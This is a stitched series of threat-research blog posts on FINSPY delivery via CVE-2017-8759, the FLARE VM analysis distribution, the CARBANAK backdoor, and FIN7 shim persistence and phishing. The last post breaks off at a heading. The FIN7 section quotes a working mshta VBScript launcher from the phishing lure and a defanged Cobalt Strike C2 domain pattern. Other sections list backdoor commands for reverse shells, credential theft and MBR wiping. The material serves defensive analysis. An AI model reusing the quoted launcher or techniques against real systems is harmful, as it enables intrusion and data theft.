The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage.  Figure 4 shows an example library loaded as a result of exploitation.


Figure 4: DLL loaded

Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named “word.db” from the same server. The HTA script removes the source code, compiled DLL and the PDB files from disk and then downloads and executes the FINSPY malware named “left.jpg,” which in spite of the .jpg extension and “image/jpeg” content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer.


Figure 5: Live requests

The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6 shows the process create chain under Process Monitor.


Figure 6: Process Created Chain

The Malware

The “left.jpg” (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".

Conclusion

CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to “lawful intercept” companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.

It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.

Acknowledgement

Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.

FLARE VM: The Windows Malware Analysis Distribution You’ve Always Needed!

UPDATE 2 (Nov. 14, 2018): FLARE VM now has a new installation, upgrade, and uninstallation process, and also includes many new tools such as IDA 7.0, radare and YARA.

UPDATE (April 26, 2018): The web installer method to deploy FLARE VM is now deprecated. Please refer to the README on the FLARE VM GitHub for the most up-to-date installation instructions.

As a reverse engineer on the FLARE Team I rely on a customized Virtual Machine (VM) to perform malware analysis. The Virtual Machine is a Windows installation with numerous tweaks and tools to aid my analysis. Unfortunately trying to maintain a custom VM like this is very laborious: tools frequently get out of date and it is hard to change or add new things. There is also a constant fear that if the VM gets corrupted it would be super tedious to replicate all of the settings and tools that I’ve built up over the years. To address this and many related challenges, I have developed a standardized (but easily customizable) Windows-based security distribution called FLARE VM.

FLARE VM is a freely available and open sourced Windows-based security distribution designed for reverse engineers, malware analysts, incident responders, forensicators, and penetration testers. Inspired by open-source Linux-based security distributions like Kali Linux, REMnux and others, FLARE VM delivers a fully configured platform with a comprehensive collection of Windows security tools such as debuggers, disassemblers, decompilers, static and dynamic analysis utilities, network analysis and manipulation, web assessment, exploitation, vulnerability assessment applications, and many others.

The distribution also includes the FLARE team’s public malware analysis tools such as FLOSS and FakeNet-NG.

How To Get It

You are expected to have an existing installation of Windows 7 or above. This allows you to choose the exact Windows version, patch level, architecture and virtualization environment yourself.

Once you have that available, you can quickly deploy the FLARE VM environment by visiting the following URL in Internet Explorer (other browsers are not going to work):

http://boxstarter.org/package/url? https://raw.githubusercontent.com/fireeye/flare-vm/master/flarevm_malware.ps1

After you navigate to the above URL in the Internet Explorer, you will be presented with a Boxstarter WebLauncher dialog. Select Run to continue the installation as illustrated in Figure 1.


Figure 1: FLARE VM Installation

Following successful installation of Boxstarter WebLauncher, you will be presented with a console window and one more prompt to enter your Windows password as shown in Figure 2. Your Windows password is necessary to restart the machine several times during the installation without prompting you to login every time.


Figure 2: Boxstarter Password Prompt

The rest of the process is fully automated, so prepare yourself a cup of coffee or tea. Depending on your connection speed, the initial installation takes about 30-40 minutes. Your machine will also reboot several times due to the numerous software installation’s requirements. During the deployment process, you will see installation logs of a number of packages.

Once the installation is complete, it is highly recommended to switch the Virtual Machine networking settings to Host-Only mode so that malware samples would not accidentally connect to the Internet or local network. Also, take a fresh virtual machine snapshot so this clean state is saved! The final FLARE VM installation should look like Figure 3.


Figure 3: FLARE VM installation

NOTE: If you encounter a large number of error messages, try to simply restart the installation. All of the existing packages will be preserved and new packages will be installed.

Getting Started

The VM configuration and the included tools were either developed or carefully selected by the members of the FLARE team who have been reverse engineering malware, analyzing exploits and vulnerabilities, and teaching malware analysis classes for over a decade. All of the tools are organized in the directory structure shown in Figure 4.

Figure 4: FLARE VM Tools

While we attempt to make the tools available as a shortcut in the FLARE folder, there are several available from command-line only. Please see the online documentation at http://flarevm.info for the most up to date list.

Sample Analysis

In order to best illustrate how FLARE VM can assist in malware analysis tasks let’s perform a basic analysis on one of the samples we use in our Malware Analysis Crash Course.

First, let’s obtain some basic indicators by looking at the strings in the binary. For this exercise, we are going to run FLARE’s own FLOSS tool, which is a strings utility on steroids. Visit http://flosseveryday.info for additional information about the tool. You can launch it by clicking on the FLOSS icon in the taskbar and running it against the sample as illustrated in Figure 5.


Figure 5: Running FLOSS

Unfortunately, looking over the resulting strings in Figure 6 only one string really stands out and it is not clear how it is used.


Figure 6: Strings Analysis

Let’s dig a bit more into the binary by opening up CFF Explorer in order to analyze sample’s imports, resources, and PE header structure. CFF Explorer and a number of other utilities are available in the FLARE folder that can be accessed from the Desktop or the Start menu as illustrated in Figure 7.


Figure 7: Opening Utilities

While analyzing the PE header, there were several indicators that the binary contains a resource object with an additional payload. For example, the Import Address Table contained relevant Windows API calls such as LoadResource, FindResource and finally WinExec. Unfortunately, as you can see in Figure 8 the embedded payload “BIN” contains junk so it is likely encrypted.


Figure 8: PE Resource

At this point, we could continue the static analysis or we could “cheat” a bit by switching over to basic dynamic analysis techniques. Let’s attempt to quickly gather basic indicators by using another FLARE tool called FakeNet-NG. FakeNet-NG is a dynamic network emulation tool which tricks malware into revealing its network functionality by presenting it with fake services such as DNS, HTTP, FTP, IRC and many others. Please visit http://fakenet.info for additional information about the tool.

Also, let’s launch Procmon from Sysinternals Suite in order to monitor all of the File, Registry and Windows API activity as well. You can find both of these frequently used tools in the taskbar illustrated in Figure 9.


Figure 9: Dynamic Analysis

After executing the sample with Administrator privileges, we quickly find excellent network- and host–based indicators. Figure 10 shows FakeNet-NG responding to malware’s attempt to communicate with evil.mandiant.com using HTTP protocol. Here we capture useful indicators such as a complete HTTP header, URL and a potentially unique User-Agent string. Also, notice that FakeNet-NG is capable of identifying the exact process communicating which is level1_payload.exe. This process name corresponds to the unique string that we have identified in the static analysis, but couldn’t understand how it was used.

Figure 10: FakeNet-NG

Comparing our findings with the output of Procmon in Figure 11, we can confirm that the malware is indeed responsible for creating level1_payload.exe executable in the system32 folder.


Figure 11: Procmon

As part of the malware analysis process, we could continue digging deeper by loading the sample in a disassembler and performing further analysis inside a debugger. However, I would not want to spoil this fun for our Malware Analysis Crash Course students by sharing all the answers here. That said all of the relevant tools to perform such analysis are already included in the distribution such as IDA Pro and Binary Ninja disassemblers, a nice collection of debuggers and several plugins, and many others to make your reverse engineering tasks as convenient as possible.

Have It Your Way

FLARE VM is a constantly growing and changing project. While we try to cover as many use-case scenarios as possible it is simply impossible due to the nature of the project. Luckily, FLARE VM is extremely easy to customize because it was built on top of the Chocolatey project. Chocolatey is a Windows-based package management system with thousands of packages. You can find the list here: https://chocolatey.org/packages. In addition to the public Chocolatey repository, FLARE VM uses our own FLARE repository which constantly growing and currently contains about 40 packages.

What all this means is that if you want to quickly add some package, let’s say Firefox, you no longer have to navigate to the software developer’s website. Simply open up a console and type in the command in Figure 12 to automatically download and install any package:


Figure 12: Installing packages

In a few short moments, Firefox icon is going to appear on your Desktop with no user interaction necessary.

Staying up to date

As I’ve mentioned in the beginning, one of the hardest challenges of unmanaged Virtual Machine is trying to keep all the tools up to date. FLARE VM solves this problem. You can completely update the entire system by simply running the command in Figure 13.


Figure 13: Staying up to date

If any of the installed packages have newer versions, they will be automatically downloaded and installed.

NOTE: Don’t forget to take another clean snapshot of an updated system and set networking back to Host-Only.

Conclusion

I hope you enjoy this new free tool and will adopt it as another trusted resource to perform reverse engineering and malware analysis tasks. Next time you need to set up a new malware analysis environment, try out FLARE VM!

In these few pages, we could only scratch the surface of everything that FLARE VM is capable of; however, feel free to leave your comments, tool requests, and bugs on our Github issues page here: https://github.com/fireeye/flare-vm or http://flarevm.info/.

Behind the CARBANAK Backdoor

In this blog, we will take a closer look at the powerful, versatile backdoor known as CARBANAK (aka Anunak). Specifically, we will focus on the operational details of its use over the past few years, including its configuration, the minor variations observed from sample to sample, and its evolution. With these details, we will then draw some conclusions about the operators of CARBANAK. For some additional background on the CARBANAK backdoor, see the papers by Kaspersky and Group-IB and Fox-It.

Technical Analysis

Before we dive into the meat of this blog, a brief technical analysis of the backdoor is necessary to provide some context. CARBANAK is a full-featured backdoor with data-stealing capabilities and a plugin architecture. Some of its capabilities include key logging, desktop video capture, VNC, HTTP form grabbing, file system management, file transfer, TCP tunneling, HTTP proxy, OS destruction, POS and Outlook data theft and reverse shell. Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time.

Monitoring Threads

The backdoor may optionally start one or more threads that perform continuous monitoring for various purposes, as described in Table 1.  

Thread Name

Description

Key logger

Logs key strokes for configured processes and sends them to the command and control (C2) server

Form grabber

Monitors HTTP traffic for form data and sends it to the C2 server

POS monitor

Monitors for changes to logs stored in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends parsed data to the C2 server

PST monitor

Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server

HTTP proxy monitor

Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use

Table 1: Monitoring threads

Commands

In addition to its file management capabilities, this data-stealing backdoor supports 34 commands that can be received from the C2 server. After decryption, these 34 commands are plain text with parameters that are space delimited much like a command line. The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters. Table 2 lists these commands.

Command Hash

Command Name

Description

0x0AA37987

loadconfig

Runs each command specified in the configuration file (see the Configuration section).

0x007AA8A5

state

Updates the state value (see the Configuration section).

0x007CFABF

video

Desktop video recording

0x06E533C4

download

Downloads executable and injects into new process

0x00684509

ammyy

Ammyy Admin tool

0x07C6A8A5

update

Updates self

0x0B22A5A7

 

Add/Update klgconfig (analysis incomplete)

0x0B77F949

httpproxy

Starts HTTP proxy

0x07203363

killos

Renders computer unbootable by wiping the MBR

0x078B9664

reboot

Reboots the operating system

0x07BC54BC

tunnel

Creates a network tunnel

0x07B40571

adminka

Adds new C2 server or proxy address for pseudo-HTTP protocol

0x079C9CC2

server

Adds new C2 server for custom binary protocol

0x0007C9C2

user

Creates or deletes Windows user account

0x000078B0

rdp

Enables concurrent RDP (analysis incomplete)

0x079BAC85

secure

Adds Notification Package (analysis incomplete)

0x00006ABC

del

Deletes file or service

0x0A89AF94

startcmd

Adds command to the configuration file (see the Configuration section)

0x079C53BD

runmem

Downloads executable and injects directly into new process

0x0F4C3903

logonpasswords

Send Windows accounts details to the C2 server

0x0BC205E4

screenshot

Takes a screenshot of the desktop and sends it to the C2 server

0x007A2BC0

sleep

Backdoor sleeps until specified date

0x0006BC6C

dupl

Unknown

0x04ACAFC3

 

Upload files to the C2 server

0x00007D43

vnc

Runs VNC plugin

0x09C4D055

runfile

Runs specified executable file

0x02032914

killbot

Uninstalls backdoor

0x08069613

listprocess

Returns list of running processes to the C2 server

0x073BE023

plugins

Change C2 protocol used by plugins

0x0B0603B4

 

Download and execute shellcode from specified address

0x0B079F93

killprocess

Terminates the first process found specified by name

0x00006A34

cmd

Initiates a reverse shell to the C2 server

0x09C573C7

runplug

Plugin control

0x08CB69DE

autorun

Updates backdoor

Table 2: Supported Commands

Configuration

A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Some of these values indicate which C2 protocol to use, whether the backdoor has been installed, and whether the PST monitoring thread is running or not. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it.

Figure 1 and Figure 2 illustrate some sample, decoded configuration files we have come across in our investigations.

Figure 1: Configuration file that adds new C2 server and forces the data-stealing backdoor to use it

Figure 2: Configuration file that adds TCP tunnels and records desktop video

Command and Control

CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol.

Pseudo-HTTP Protocol

Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character. A message starts with a host ID composed by concatenating a hash value generated from the computer’s hostname and MAC address to a string likely used as a campaign code. Once the message has been formatted, it is sandwiched between an additional two fields of randomly generated strings of upper and lower case alphabet characters. An example of a command polling message and a response to the listprocess command are given in Figure 3 and Figure 4, respectively.

Figure 3: Example command polling message

Figure 4: Example command response message

Messages are encrypted using Microsoft’s implementation of RC2 in CBC mode with PKCS#5 padding. The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively. The eight-byte initialization vector (IV) is a randomly generated string consisting of upper and lower case alphabet characters. It is prepended to the encrypted and encoded message.

The encoded payload is then made to look like a URI by having a random number of ‘/’ characters inserted at random locations within the encoded payload. The malware then appends a script extension (php, bml, or cgi) with a random number of random parameters or a file extension from the following list with no parameters: gif, jpg, png, htm, html, php.

This URI is then used in a GET or POST request. The body of the POST request may contain files contained in the cabinet format. A sample GET request is shown in Figure 5.

Figure 5: Sample pseudo-HTTP beacon

The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command. The backdoor also searches for proxy configurations to use in the registry at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings and for each profile in the Mozilla Firefox configuration file at %AppData%\Mozilla\Firefox\<ProfileName>\prefs.js.

Custom Binary Protocol

Figure 6 describes the structure of the malware’s custom binary protocol. If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks. This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult.

Figure 6: Binary protocol message format

Version 1

In the earliest version of the binary protocol, we have discovered that the message bodies that are stored in the <chunkData> field are simply XORed with the host ID. The initial message is not encrypted and contains the host ID.

Version 2

Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session. This key is sent in the initial message.

Version 3

Version 3 adds encryption to the headers. The first 19 bytes of the message headers (up to the <hdrXORKey2> field) are XORed with a five-byte key that is randomly generated per message and stored in the <hdrXORKey2> field. If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages.

Version 4

This version adds a bit more complexity to the header encryption scheme. The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed.

Version 5

Version 5 is the most sophisticated of the binary protocols we have seen. A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately. Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm. All subsequent messages are encrypted with AES in CBC mode. The use of public key cryptography makes decryption of the session key infeasible without the C2 server’s private key.

The Roundup

We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here.

Protocol Evolution

As described earlier, CARBANAK’s binary protocol has undergone several significant changes over the years. Figure 7 illustrates a rough timeline of this evolution based on the compile times of samples we have in our collection. This may not be entirely accurate because our visibility is not complete, but it gives us a general idea as to when the changes occurred. It has been observed that some builds of this data-stealing backdoor use outdated versions of the protocol. This may suggest multiple groups of operators compiling their own builds of this data-stealing backdoor independently.

Figure 7: Timeline of binary protocol versions

*It is likely that we are missing an earlier build that utilized version 3.

Build Tool

Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool.

Rapid Builds

Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.

What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not. This command downloads an executable from the C2 and directly runs it in memory. In another case, one build was programmed to check for the existence of the domain blizko.net in the trusted sites list for Internet Explorer while the other was not. Blizko is an online money transfer service. We have also seen that different monitoring threads from Table 1 are enabled from build to build. These minor changes suggest that the code is quickly modified and compiled to adapt to the needs of the operator for particular targets.

Campaign Code and Compile Time Correlation

In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code. Figure 8 shows some of the relationships that can be observed in our data set.

Campaign Code

Compile Date

Aug

7/30/15

dec

12/8/14

julyc

7/2/16

jun

5/9/15

june

5/25/14

june

6/7/14

junevnc

6/20/14

juspam

7/13/14

juupd

7/13/14

may

5/20/14

may

5/19/15

ndjun

6/7/16

SeP

9/12/14

spamaug

8/1/14

spaug

8/1/14

Figure 8: Campaign code to compile time relationships

Recent Updates

Recently, 64 bit variants of the backdoor have been discovered. We shared details about such variants in a recent blog post. Some of these variants are programmed to sleep until a configured activation date when they will become active.

History

The “Carbanak Group”

Much of the publicly released reporting surrounding the CARBANAK malware refers to a corresponding “Carbanak Group”, who appears to be behind the malicious activity associated with this data-stealing backdoor. FireEye iSIGHT Intelligence has tracked several separate overarching campaigns employing the CARBANAK tool and other associated backdoors, such as DRIFTPIN (aka Toshliph). With the data available at this time, it is unclear how interconnected these campaigns are – if they are all directly orchestrated by the same criminal group, or if these campaigns were perpetrated by loosely affiliated actors sharing malware and techniques.

FIN7

In all Mandiant investigations to date where the CARBANAK backdoor has been discovered, the activity has been attributed to the FIN7 threat group. FIN7 has been extremely active against the U.S. restaurant and hospitality industries since mid-2015.

FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment. FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity.

We have covered recent FIN7 activity in previous public blog posts:

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity.

Widespread Bank Targeting Throughout the U.S., Middle East and Asia

Proofpoint initially reported on a widespread campaign targeting banks and financial organizations throughout the U.S. and Middle East in early 2016. We identified several additional organizations in these regions, as well as in Southeast Asia and Southwest Asia being targeted by the same attackers.

This cluster of activity persisted from late 2014 into early 2016. Most notably, the infrastructure utilized in this campaign overlapped with LAZIOK, NETWIRE and other malware targeting similar financial entities in these regions.

DRIFTPIN

DRIFTPIN (aka Spy.Agent.ORM, and Toshliph) has been previously associated with CARBANAK in various campaigns. We have seen it deployed in initial spear phishing by FIN7 in the first half of 2016.  Also, in late 2015, ESET reported on CARBANAK associated attacks, detailing a spear phishing campaign targeting Russian and Eastern European banks using DRIFTPIN as the malicious payload. Cyphort Labs also revealed that variants of DRIFTPIN associated with this cluster of activity had been deployed via the RIG exploit kit placed on two compromised Ukrainian banks’ websites.

FireEye iSIGHT Intelligence observed this wave of spear phishing aimed at a large array of targets, including U.S. financial institutions and companies associated with Bitcoin trading and mining activities. This cluster of activity continues to be active now to this day, targeting similar entities. Additional details on this latest activity are available on the FireEye iSIGHT Intelligence MySIGHT Portal.

Earlier CARBANAK Activity

In December 2014, Group-IB and Fox-IT released a report about an organized criminal group using malware called "Anunak" that has targeted Eastern European banks, U.S. and European point-of-sale systems and other entities. Kaspersky released a similar report about the same group under the name "Carbanak" in February 2015. The name “Carbanak” was coined by Kaspersky in this report – the malware authors refer to the backdoor as Anunak.

This activity was further linked to the 2014 exploitation of ATMs in Ukraine. Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement.

Conclusion

The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows:

  1. Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).
  2. Some of the operators may be compiling their own builds of the backdoor independently.
  3. A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build.
  4. Varying campaign codes indicate that independent or loosely affiliated criminal actors are employing CARBANAK in a wide-range of intrusions that target a variety of industries but are especially directed at financial institutions across the globe, as well as the restaurant and hospitality sectors within the U.S.

To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence

In 2017, Mandiant responded to multiple incidents we attribute to FIN7, a financially motivated threat group associated with malicious operations dating back to 2015. Throughout the various environments, FIN7 leveraged the CARBANAK backdoor, which this group has used in previous operations.

A unique aspect of the incidents was how the group installed the CARBANAK backdoor for persistent access. Mandiant identified that the group leveraged an application shim database to achieve persistence on systems in multiple environments. The shim injected a malicious in-memory patch into the Services Control Manager (“services.exe”) process, and then spawned a CARBANAK backdoor process.

Mandiant identified that FIN7 also used this technique to install a payment card harvesting utility for persistent access. This was a departure from FIN7’s previous approach of installing a malicious Windows service for process injection and persistent access.

Application Compatibility Shims Background

According to Microsoft, an application compatibility shim is a small library that transparently intercepts an API (via hooking), changes the parameters passed, handles the operation itself, or redirects the operation elsewhere, such as additional code stored on a system. Today, shims are mainly used for compatibility purposes for legacy applications. While shims serve a legitimate purpose, they can also be used in a malicious manner. Mandiant consultants previously discussed shim databases at both BruCon and BlackHat.

Shim Database Registration

There are multiple ways to register a shim database on a system. One technique is to use the built-in “sdbinst.exe” command line tool. Figure 1 displays the two registry keys created when a shim is registered with the “sdbinst.exe” utility.

Figure 1: Shim database registry keys

Once a shim database has been registered on a system, the shim database file (“.sdb” file extension) will be copied to the “C:\Windows\AppPatch\Custom” directory for 32-bit shims or “C:\Windows\AppPatch\Custom\Custom64” directory for 64-bit shims.

Malicious Shim Database Installation

To install and register the malicious shim database on a system, FIN7 used a custom Base64 encoded PowerShell script, which ran the “sdbinst.exe” utility to register a custom shim database file containing a patch onto a system. Figure 2 provides a decoded excerpt from a recovered FIN7 PowerShell script showing the parameters for this command.

Figure 2: Excerpt from a FIN7 PowerShell script to install a custom shim

FIN7 used various naming conventions for the shim database files that were installed and registered on systems with the “sdbinst.exe” utility. A common observance was the creation of a shim database file with a “.tmp” file extension (Figure 3).

Figure 3: Malicious shim database example

Upon registering the custom shim database on a system, a file named with a random GUID and an “.sdb” extension was written to the 64-bit shim database default directory, as shown in Figure 4. The registered shim database file had the same MD5 hash as the file that was initially created in the “C:\Windows\Temp” directory.

Figure 4: Shim database after registration

In addition, specific registry keys were created that correlated to the shim database registration.  Figure 5 shows the keys and values related to this shim installation.

Figure 5: Shim database registry keys

The database description used for the shim database registration, “Microsoft KB2832077” was interesting because this KB number was not a published Microsoft Knowledge Base patch. This description (shown in Figure 6) appeared in the listing of installed programs within the Windows Control Panel on the compromised system.

Figure 6: Shim database as an installed application

Malicious Shim Database Details

During the investigations, Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of “services.exe” with their CARBANAK payload. This occurred when the “services.exe” process executed at startup. The shim database file contained shellcode for a first stage loader that obtained an additional shellcode payload stored in a registry key. The second stage shellcode launched the CARBANAK DLL (stored in a registry key), which spawned an instance of Service Host (“svchost.exe”) and injected itself into that process.  

Figure 7 shows a parsed shim database file that was leveraged by FIN7.

Figure 7: Parsed shim database file

For the first stage loader, the patch overwrote the “ScRegisterTCPEndpoint” function at relative virtual address (RVA) “0x0001407c” within the services.exe process with the malicious shellcode from the shim database file. 

The new “ScRegisterTCPEndpoint” function (shellcode) contained a reference to the path of “\REGISTRY\MACHINE\SOFTWARE\Microsoft\DRM”, which is a registry location where additional malicious shellcode and the CARBANAK DLL payload was stored on the system.

Figure 8 provides an excerpt of the parsed patch structure within the recovered shim database file.

Figure 8: Parsed patch structure from the shim database file

The shellcode stored within the registry path “HKLM\SOFTWARE\Microsoft\DRM” used the API function “RtlDecompressBuffer” to decompress the payload. It then slept for four minutes before calling the CARBANAK DLL payload's entry point on the system. Once loaded in memory, it created a new process named “svchost.exe” that contained the CARBANAK DLL. 

Bringing it Together

Figure 9 provides a high-level overview of a shim database being leveraged as a persistent mechanism for utilizing an in-memory patch, injecting shellcode into the 64-bit version of “services.exe”.

Figure 9: Shim database code injection process

Detection

Mandiant recommends the following to detect malicious application shimming in an environment:

  1. Monitor for new shim database files created in the default shim database directories of “C:\Windows\AppPatch\Custom” and “C:\Windows\AppPatch\Custom\Custom64”
  2. Monitor for registry key creation and/or modification events for the keys of “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom” and “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB”
  3. Monitor process execution events and command line arguments for malicious use of the “sdbinst.exe” utility 

FIN7 Evolution and the Phishing LNK

FIN7 is a financially-motivated threat group that has been associated with malicious operations dating back to late 2015. FIN7 is referred to by many vendors as “Carbanak Group”, although we do not equate all usage of the CARBANAK backdoor with FIN7. FireEye recently observed a FIN7 spear phishing campaign targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations.

In a newly-identified campaign, FIN7 modified their phishing techniques to implement unique infection and persistence mechanisms. FIN7 has moved away from weaponized Microsoft Office macros in order to evade detection. This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim.

In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of large restaurant chains, hospitality, and financial service organizations. The subjects and attachments were themed as complaints, catering orders, or resumes. As with previous campaigns, and as highlighted in our annual M-Trends 2017 report, FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process.

Infection Chain

While FIN7 has embedded VBE as OLE objects for over a year, they continue to update their script launching mechanisms. In the current lures, both the malicious DOCX and RTF attempt to convince the user to double-click on the image in the document, as seen in Figure 1. This spawns the hidden embedded malicious LNK file in the document. Overall, this is a more effective phishing tactic since the malicious content is embedded in the document content rather than packaged in the OLE object.

By requiring this unique interaction – double-clicking on the image and clicking the “Open” button in the security warning popup – the phishing lure attempts to evade dynamic detection as many sandboxes are not configured to simulate that specific user action.

Figure 1: Malicious FIN7 lure asking victim to double click to unlock contents

The malicious LNK launches “mshta.exe” with the following arguments passed to it:

vbscript:Execute("On Error Resume Next:set w=GetObject(,""Word.Application""):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close")

The script in the argument combines all the textbox contents in the document and executes them, as seen in Figure 2.

Figure 2: Textbox inside DOC

The combined script from Word textbox drops the following components:

\Users\[user_name]\Intel\58d2a83f7778d5.36783181.vbs
\Users\[user_name]\Intel\58d2a83f777942.26535794.ps1
\Users\[user_name]\Intel\58d2a83f777908.23270411.vbs

Also, the script creates a named schedule task for persistence to launch “58d2a83f7778d5.36783181.vbs” every 25 minutes.

VBScript #1

The dropped script “58d2a83f7778d5.36783181.vbs” acts as a launcher. This VBScript checks if the “58d2a83f777942.26535794.ps1” PowerShell script is running using WMI queries and, if not, launches it.

PowerShell Script

“58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell script, which launches shellcode for a Cobalt Strike stager.

The shellcode retrieves an additional payload by connecting to the following C2 server using DNS:

aaa.stage.14919005.www1.proslr3[.]com

Once a successful reply is received from the command and control (C2) server, the PowerShell script executes the embedded Cobalt Strike shellcode. If unable to contact the C2 server initially, the shellcode is configured to reattempt communication with the C2 server address in the following pattern:

 [a-z][a-z][a-z].stage.14919005.www1.proslr3[.]com

VBScript #2

“mshta.exe” further executes the second VBScript “58d2a83f777908.23270411.vbs”, which creates a folder by GUID name inside “Intel” and drops the VBScript payloads and configuration files:

\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777638.60220156.ini
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777688.78384945.ps1
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776b5.64953395.txt
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776e0.72726761.vbs
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777716.48248237.vbs
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777788.86541308.vbs
\Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\Foxconn.lnk

This script then executes “58d2a83f777716.48248237.vbs”, which is a variant of FIN7’s HALFBAKED backdoor.

HALFBAKED Backdoor Variant

